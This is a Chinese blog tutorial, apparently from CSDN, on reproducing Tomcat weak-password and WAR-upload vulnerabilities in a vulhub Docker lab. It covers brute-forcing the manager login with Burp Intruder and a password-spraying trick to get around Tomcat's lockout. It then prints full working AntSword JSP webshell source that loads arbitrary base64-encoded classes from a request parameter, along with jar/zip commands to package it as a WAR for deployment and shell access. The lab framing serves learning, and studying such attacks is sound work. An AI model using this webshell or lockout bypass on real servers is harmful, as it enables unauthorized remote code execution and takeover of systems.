• Tomcat弱口令及war包漏洞复现(保姆级教程)


    1.环境搭建

    1. 靶机:Ubuntu 安装参考:安装Ubuntu详细教程_乌班图安装教程-CSDN博客

    vulhub docker搭建tomcat漏洞环境

    参考:vulhub docker靶场搭建-CSDN博客

    1. 工具:burpsuite

    2.漏洞复现

    2.1弱口令爆破

    1. 进入http://192.168.143.16:8080/(此处为自己靶机IP)

    打开tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

    然后使用burp抓包,发送到intruder模块进行爆破

    爆破成功,输入正确密码进入后台

    上传war包即可直接getshell。


     

    注意:在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。

    CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。

    tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制https://download.csdn.net/download/lwhat007/10164298

    这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。

    2.2上传war包getshell

    使用中国蚁剑生成一个 jsp马,将其单独放置于一个目录下,进入该目录

    vim shell.jsp

    密码:ant

    1. <%!
    2. class U extends ClassLoader {
    3. U(ClassLoader c) {
    4. super(c);
    5. }
    6. public Class g(byte[] b) {
    7. return super.defineClass(b, 0, b.length);
    8. }
    9. }
    10. public byte[] base64Decode(String str) throws Exception {
    11. try {
    12. Class clazz = Class.forName("sun.misc.BASE64Decoder");
    13. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    14. } catch (Exception e) {
    15. Class clazz = Class.forName("java.util.Base64");
    16. Object decoder = clazz.getMethod("getDecoder").invoke(null);
    17. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    18. }
    19. }
    20. %>
    21. <%
    22. String cls = request.getParameter("ant");
    23. if (cls != null) {
    24. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    25. }
    26. %>

    将 shell.jsp 马打包成 war 包

     jar -cvf login.war shell.jsp

    或者使用 zip 压缩成 war 包

     zip shell.war shell.jsp

    进入登录界面,部署上传

    链接的地址是 /zip文件的前缀/文件名,比如我这里就是http://IP/shell/shell.jsp

    然后用蚁剑连接

    此时已经成功get shell。

  • 相关阅读:
    Win11系统下的MindSpore环境搭建
    二叉树之路径
    如何关闭搜狗输入法的快捷键
    Flutter ☞ 数据类型
    NetDevOps — YANG 协议 — 模型文件
    getenv、setenv和putenv实践
    利用Python将dataframe格式的所有列的数据类型转换为分类数据类型
    直流有刷电机编码器测速基于STM32F302R8+X-NUCLEO-IHM07M1
    我眼中的大数据(二)——HDFS
    2022-08-26 第六小组 瞒春 学习笔记
  • 原文地址:https://blog.csdn.net/m0_69043895/article/details/138050424